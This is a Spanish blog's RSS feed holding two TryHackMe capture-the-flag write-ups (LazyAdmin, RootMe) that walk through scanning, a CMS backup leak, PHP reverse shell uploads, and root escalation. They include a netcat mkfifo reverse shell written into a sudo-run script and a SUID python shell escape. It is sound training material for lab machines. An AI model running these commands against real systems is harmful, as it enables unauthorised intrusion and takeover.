<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss">
  <channel>
    <title>TryHackMe on El blog de Ignacio</title>
    <link>https://www.igalvan.es/tags/tryhackme/</link>
    <description>Recent content in TryHackMe on El blog de Ignacio</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>es</language>
    <copyright>Ignacio Galván Vitas</copyright>
    <lastBuildDate>Wed, 24 Feb 2021 17:00:00 +0100</lastBuildDate><atom:link href="https://www.igalvan.es/tags/tryhackme/index.xml" rel="self" type="application/rss+xml" /><icon>https://www.igalvan.es/logo.svg</icon>
    
    
    <item>
      <title>CFT - TryHackMe - LazyAdmin</title>
      <link>https://www.igalvan.es/posts/ctf-try-hack-me-lazy-admin/</link>
      <pubDate>Wed, 24 Feb 2021 17:00:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/ctf-try-hack-me-lazy-admin/</guid>
      <description><![CDATA[<p>Easy linux machine to practice your skills.</p>
<h1 id="lazy-admin">Lazy Admin</h1>
<p>El primer paso es hacer un poco de reconocimiento a ver qué nos encontramos.</p>
<h3 id="nmap">nmap</h3>
<pre tabindex="0"><code>root@kali:~# nmap -sS -p- --min-rate 500 --open -n -Pn 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 16:58 UTC
Nmap scan report for 10.10.188.99
Host is up (0.0071s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:3A:29:AF:90:F3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
root@kali:~# 
root@kali:~# nmap -sV -p22 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 17:05 UTC
Nmap scan report for ip-10-10-188-99.eu-west-1.compute.internal (10.10.188.99)
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:3A:29:AF:90:F3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
root@kali:~# 
</code></pre><h3 id="whatweb">whatweb</h3>
<pre tabindex="0"><code>root@kali:~# whatweb http://10.10.188.99 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.188.99], Title[Apache2 Ubuntu Default Page: It works]
root@kali:~# 
</code></pre><h3 id="wfuzz">wfuzz</h3>
<pre tabindex="0"><code>root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.188.99/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.188.99/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                                       
===================================================================

000000689:   301        9 L      28 W     314 Ch      &#34;content&#34;                           

Total time: 27.80658
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 108.7512

root@kali:~# 
</code></pre><h2 id="what-is-the-user-flag">What is the user flag?</h2>
<p>El primer paso es acceder a la web que publica el servidor a ver qué nos encontramos.</p>
<p><img src="/images/2021/20210224-lazyadmin-web.png" alt="image-20210223200011495"></p>
<p>En Exploit Database encontramos una <a href="https://www.exploit-db.com/exploits/40718">vulnerabilidad</a> que nos dice lo siguiente:</p>
<pre tabindex="0"><code>[...]
Proof of Concept :

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
[...]
</code></pre><p>Accedemos a la ruta y nos encontramos un fichero SQL.</p>
<p><img src="/images/2021/20210224-lazyadmin-sqlfile.png" alt="image-20210223195856540"></p>
<p>Descargamos el fichero y revisándolo nos encontramos la siguiente línea:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;admin\\&#34;</span>;s:<span style="color:#ae81ff">7</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;manager\\&#34;</span>;s:<span style="color:#ae81ff">6</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;passwd\\&#34;</span>;s:<span style="color:#ae81ff">32</span>:<span style="color:#960050;background-color:#1e0010">\\</span><span style="color:#e6db74">&#34;42f749ade7f9e195bf475f37a44cafcb\\&#34;</span>
</span></span></code></pre></div><p>Parece que tenemos unas credenciales con un hash MD5 para la contraseña pero lo mejor es confirmarlo.</p>
<pre tabindex="0"><code>root@kali:~/Downloads# hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /&#39;__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 42f749ade7f9e195bf475f37a44cafcb

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
</code></pre><p>El siguiente paso será obtener una contraseña de ese hash. La herramienta a utilizar queda al buen entendimiento del lector.</p>
<p>De los datos del wfuzz sabemos que hay una carpeta &ldquo;/content&rdquo; y buscando un poco por en el <a href="https://github.com/sweetrice/SweetRice">código fuente en GitHub</a> puedes saber que este CMS tiene su web de administración en la carpeta &ldquo;as&rdquo;, por lo que la ruta a acceder es &ldquo;/content/as&rdquo;</p>
<p><img src="/images/2021/20210224-lazyadmin-sweetrice.png" alt="image-20210223201106410"></p>
<p>Lo divertido es saber dónde cargar el fichero PHP de la shell inversa. Aquí no queda otra que ir pinchando en las distintas opciones. Yo te ahorro el esfuerzo y te digo que hay que cargarlo desde &ldquo;Media Center&rdquo;.</p>
<p>Voy a usar Burp Suite para capturar la llamada POST y poder probar con distintas extensiones de ficheros PHP a ver cuál cuela.</p>
<p><img src="/images/2021/20210224-lazyadmin-post" alt="image-20210223201213742"></p>
<p><img src="/images/2021/20210224-lazyadmin-burp" alt="image-20210223201307163"></p>
<p>Preparo la sesión de netcat desde el equipo atacante</p>
<pre tabindex="0"><code>root@kali:~# netcat -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.34.182] from (UNKNOWN) [10.10.188.99] 47334
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 20:17:53 up  1:21,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&#39;t access tty; job control turned off
$ whoami
www-data
$
</code></pre><p>Ya solo queda ir a por la bandera de usuario.</p>
<pre tabindex="0"><code>$ cd /home
$ ls
itguy
$ cd itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 
</code></pre><h2 id="what-is-the-root-flag">What is the root flag?</h2>
<p>El primer paso es intentar escalar privilegios. Vamos a estabilizar la sesión de shell mediante este comando.</p>
<pre tabindex="0"><code>python -c &#39;import pty;pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre><p>Ahora ya podemos probar a ver si este usuario puede realizar alguna tarea como root mediante sudo.</p>
<pre tabindex="0"><code>$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
</code></pre><p>Hay un script de Perl que podemos ejecutar pero que no podemos modificar. Vamos a ver si podemos saber qué hace este script.</p>
<pre tabindex="0"><code>$ cat backup.pl
#!/usr/bin/perl

system(&#34;sh&#34;, &#34;/etc/copy.sh&#34;);
</code></pre><p>Ejecuta un fichero llamado &ldquo;copy.sh&rdquo; que sí que podemos modificar. Vamos a cambiar su contenido por una shell inversa al equipo atacante.</p>
<pre tabindex="0"><code>$ echo &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.34.182 5554 &gt;/tmp/f&#39; &gt; /etc/copy.sh
$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.34.182 5554 &gt;/tmp/f
</code></pre><p>Ejecutamos el script.</p>
<pre tabindex="0"><code>$ sudo /usr/bin/perl /home/itguy/backup.pl
</code></pre><p>Ya solo queda obtener la bandera.</p>
<pre tabindex="0"><code># cd /root
# ls
root.txt
# cat root.txt
{ESTO_NO_TE_LO_PONGO}
</code></pre>]]></description>
      
    </item>
    
    
    
    <item>
      <title>CFT - TryHackMe - RootMe</title>
      <link>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</link>
      <pubDate>Tue, 23 Feb 2021 19:10:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/ctf-try-hack-me-root-me/</guid>
      <description><![CDATA[<p>A ctf for beginners, can you root me?</p>
<h1 id="deploy-the-machine">Deploy the machine</h1>
<p>Bueno esto no tiene mucho misterio, es darle al botón de despliegue y esperar a que arranque.</p>
<h1 id="reconnaissance">Reconnaissance</h1>
<p>First, let&rsquo;s get information about the target.</p>
<h2 id="scan-the-machine-how-many-ports-are-open-what-service-is-running-on-port-22">Scan the machine, how many ports are open? What service is running on port 22?</h2>
<pre tabindex="0"><code>root@kali:~# nmap -sS --min-rate 500 -p- --open -n -Pn 10.10.69.166
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 17:10 UTC
Nmap scan report for 10.10.69.166
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:56:12:EA:16:0D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.97 seconds
root@kali:~# 
</code></pre><h2 id="what-version-of-apache-is-running">What version of Apache is running?</h2>
<pre tabindex="0"><code>root@kali:~# whatweb 10.10.69.166
http://10.10.69.166 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.69.166], Script, Title[HackIT - Home]
root@kali:~# 
</code></pre><h2 id="find-directories-on-the-web-server-using-the-gobuster-tool">Find directories on the web server using the GoBuster tool.</h2>
<p>Yo uso wfuzz. Lo siento, me resulta más comoda esta herramienta.</p>
<pre tabindex="0"><code>root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.69.166/FUZZ

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.69.166/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                             
===================================================================

000000740:   301        9 L      28 W     310 Ch      &#34;css&#34;                               
000001474:   301        9 L      28 W     309 Ch      &#34;js&#34;                               
000001988:   301        9 L      28 W     312 Ch      &#34;panel&#34;                             

Total time: 28.25782
Processed Requests: 3024
Filtered Requests: 3021
Requests/sec.: 107.0146
</code></pre><h2 id="what-is-the-hidden-directory">What is the hidden directory?</h2>
<p>Tras revisar los resultados del comando anterior es fácil concluir que la respuesta es /panel/.</p>
<h1 id="getting-a-shell">Getting a shell</h1>
<h2 id="find-a-form-to-upload-and-get-a-reverse-shell-and-find-the-flag">Find a form to upload and get a reverse shell, and find the flag.</h2>
<p>He optado por la shell inversa de <a href="https://github.com/pentestmonkey/php-reverse-shell">Pentestmonkey</a>. Hay que editar el fichero y cambiar la IP a la de nuestro equipo atacante y, si se desea, cambiar el puerto.</p>
<p><img src="/images/2021/20210223-rootme-uploads.png" alt="image-20210223190717386"></p>
<p>Al mismo tiempo preparo una sesión de netcat en el equipo atacante para recibir la conexión de la shell inversa.</p>
<pre tabindex="0"><code>root@kali:~# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.82.225] from (UNKNOWN) [10.10.69.166] 39068
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:23:36 up 15 min,  0 users,  load average: 0.00, 0.06, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can&#39;t access tty; job control turned off
$ 
</code></pre><h2 id="usertxt">user.txt</h2>
<pre tabindex="0"><code>$ ls
html
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 
</code></pre><h1 id="privilege-escalation">Privilege escalation</h1>
<p>Now that we have a shell, let&rsquo;s escalate our privileges to root.</p>
<h2 id="search-for-files-with-suid-permission-which-file-is-weird">Search for files with SUID permission, which file is weird?</h2>
<p>Hago una búsqueda ejecutables con SUID y entre los resultados destaca el ejecutable de Python.</p>
<pre tabindex="0"><code>$ find / -perm -u=s -type f 2&gt;/dev/null
[...]
/usr/bin/python
[...]
</code></pre><h2 id="find-a-form-to-escalate-your-privileges">Find a form to escalate your privileges.</h2>
<p>Busco la forma de explotar el binario de Python en la web <a href="https://gtfobins.github.io/">GTFOBins</a> y ejecuto lo siguiente.</p>
<pre tabindex="0"><code>$ python -c &#39;import os; os.execl(&#34;/bin/sh&#34;, &#34;sh&#34;, &#34;-p&#34;)&#39;
whoami
root
</code></pre><h2 id="roottxt">root.txt</h2>
<pre tabindex="0"><code>cd /root
ls
root.txt
cat root.txt
{ESTO_NO_TE_LO_PONGO}
</code></pre>]]></description>
      
    </item>
    
    
  </channel>
</rss>
